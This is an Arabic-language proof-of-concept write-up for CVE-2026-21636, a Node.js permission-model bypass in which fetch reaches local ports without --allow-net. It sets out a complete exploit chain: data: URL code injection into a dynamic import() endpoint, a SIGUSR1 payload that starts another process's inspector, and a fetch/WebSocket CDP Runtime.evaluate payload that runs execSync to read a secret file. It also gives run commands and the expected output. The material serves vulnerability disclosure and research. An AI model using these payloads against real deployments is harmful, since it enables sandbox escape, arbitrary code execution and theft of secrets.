
إثبات مفهوم يوضح تجاوز نموذج صلاحيات Node.js (CVE-2026-21636) الذي يسمح بالوصول إلى الشبكة عبر undici/fetch إلى الخدمات المحلية، مما يتيح تنفيذ تعليمات برمجية عشوائية من خلال CDP.
تم تصميم نموذج الأذونات في Node.js (--permission) لعزل العملية عن طريق تقييد الوصول إلى نظام الملفات، والعمليات الفرعية، والعاملين، والشبكة. تكشف CVE-2026-21636 أن الاتصالات التي تتم عبر undici/fetch (وnet/tls) إلى مآخذ Unix Domain وعناوين TCP المحلية تتجاوز حماية الشبكة تمامًا، حتى عندما يكون --allow-net غير موجود.
المتأثر: Node.js v25 (أذونات الشبكة لا تزال تجريبية وقت الإفصاح).
يعيد هذا الـ PoC إنتاج المفهوم على v22 حيث يمكن ملاحظة نفس التجاوز.
يمكن للمهاجم الذي يمكنه حقن JavaScript عشوائي في عملية تعمل تحت --permission (ولكن بدون --allow-net أو --allow-child-process) القيام بما يلي:
تعمل عمليتان جنبًا إلى جنب داخل الحاوية تحت supervisord:
يكتب target.cjs معرّف العملية الخاص به إلى /tmp/target.pid عند بدء التشغيل، ثم يظل في حلقة لا نهائية (عملية ضحية خاملة). يعرض server.mjs خادم Express على :8000 مع نقطة نهاية /pid ونقطة نهاية /language قابلة للاستغلال.
/app/secret.txt مملوك للمستخدم app (chmod 444). يمكن لكلتا العمليتين الوصول إليه على مستوى نظام التشغيل. لا يعتمد الاستغلال على حاجز صلاحيات الملفات — بل يوضح أن server.mjs، على الرغم من غياب --allow-net، يمكنه الوصول إلى 127.0.0.1:9229 عبر fetch()/WebSocket وتنفيذ كود عشوائي داخل عملية target.cjs غير المعزولة. قراءة secret.txt عبر CDP هي الدليل على تنفيذ ذلك الكود.
ملاحظة: ما يوضحه هذا الـ PoC فعليًا
نظرًا لأن
server.mjsيعمل بالفعل مع--allow-fs-read=/، فإن قراءة/app/secret.txtمباشرة من العملية المعزولة ممكنة بسهولة باستخدام حقن JS فقط (الخطوة 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };قراءة نظام الملفات ليست هي ما يدور حوله هذا الـ PoC. الهدف هو إثبات CVE-2026-21636: على الرغم من غياب
--allow-net، يمكن لـfetch()(undici) إنشاء اتصال TCP إلى127.0.0.1:9229، متجاوزًا حماية الشبكة في نموذج الأذونات تمامًا. يستخدم الاستغلال هذا التجاوز للتنقل إلى عمليةtarget.cjsغير المعزولة تمامًا عبر CDP وتحقيق تنفيذ كود عشوائي خارج بيئة العزل؛ وهو أمر لا يمكن لأي قدر من--allow-fs-readالسماح به.
POST /languageهذا القسم خارج نطاق الـ poc.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
يقوم الخادم بتنفيذ import() ديناميكي على سلسلة يتحكم فيها المستخدم. يدعم import() في Node.js أصلاً مخطط data: URL:
data:text/javascript,<JS بترميز النسبة المئوية>
يتم تحييد اللاحقة /index.js التي يضيفها الخادم بإلحاق // في نهاية الحمولة (تُعامل كتعليق URL / جزء مسار مهمل).
يمنح هذا تنفيذ JavaScript عشوائي داخل العملية المعزولة - نقطة الدخول لاستغلال CVE-2026-21636.
يبدأ الخادم بـ:
node --permission --allow-fs-read=/ /app/server.mjs
القصد: حتى إذا قام مهاجم بتشغيل كود داخل server.mjs، فلن يتمكن من الوصول إلى الشبكة، أو إنشاء عمليات، أو الوصول إلى المفتش.
تكسر CVE-2026-21636 حدود --allow-net.
GET /pid → { "pid": <N> }
يكتب target.cjs معرّف العملية الخاص به إلى /tmp/target.pid عند بدء التشغيل. يعرضه الخادم. يحدد هذا عملية الضحية التي ستُستخدم كمرحّل CDP.
يمكن أيضًا القيام بذلك عن طريق حقن js في نقطة الدخول؛ لتبسيط الأمر، أنشأت نقطة نهاية /pid.
target.cjs عبر SIGUSR1الحمولة المحقونة عبر POST /language (كـ data: URL):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
عندما تستقبل عملية Node.js SIGUSR1، تبدأ (أو تستأنف) مصحح V8/CDP الخاص بها وتبدأ الاستماع على:
127.0.0.1:9229
نظرًا لأن target.cjs يعمل بدون --permission، فإن مفتشه يتمتع بصلاحيات كاملة - يمكنه تقييم أي تعبير، بما في ذلك require('child_process').execSync(...).
إرسال الإشارات (process.kill) غير مقيد بنموذج الأذونات، لذا تنجح هذه الخطوة من داخل بيئة العزل.
الحمولة الثانية المحقونة عبر POST /language:
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
لماذا يعمل هذا على الرغم من غياب --allow-net:
يتم تنفيذ fetch() في Node.js بواسطة undici. تُظهر CVE-2026-21636 أن مسار اتصال undici لـ http://127.0.0.1:... (وخيارات socketPath الخاصة بـ UDS) لا يمر عبر فحص الشبكة في نموذج الأذونات. تعتقد بيئة العزل أنه لم يتم إجراء أي وصول شبكة صادر، ومع ذلك ينجح اتصال TCP إلى :9229.
يعمل استدعاء CDP Runtime.evaluate داخل عملية target.cjs غير المعزولة، لذا فإن require('child_process') متاح ويعمل execSync بحرية.
attacker (Python script)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs inspector starts on :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
# Build and start the environment
docker compose up --build -d
# Run the exploit
python3 exploit.py
المخرجات المتوقعة:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| العملية | المستخدم | العلامات | الصلاحيات |
|---|
target.cjs | app | لا شيء | واجهة Node.js كاملة، بدون عزل |
server.mjs | app | --permission --allow-fs-read=/ | قراءة كاملة لنظام الملفات — بدون شبكة، بدون عمليات فرعية، بدون عاملين |
| الإذن | الحالة |
|---|
--allow-fs-read=/ | ممنوح (قراءة كاملة) |
--allow-fs-write | مرفوض |
--allow-net | مرفوض (تجريبي، غير مضبوط) |
--allow-child-process | مرفوض |
--allow-worker | مرفوض |
--allow-inspector | مرفوض |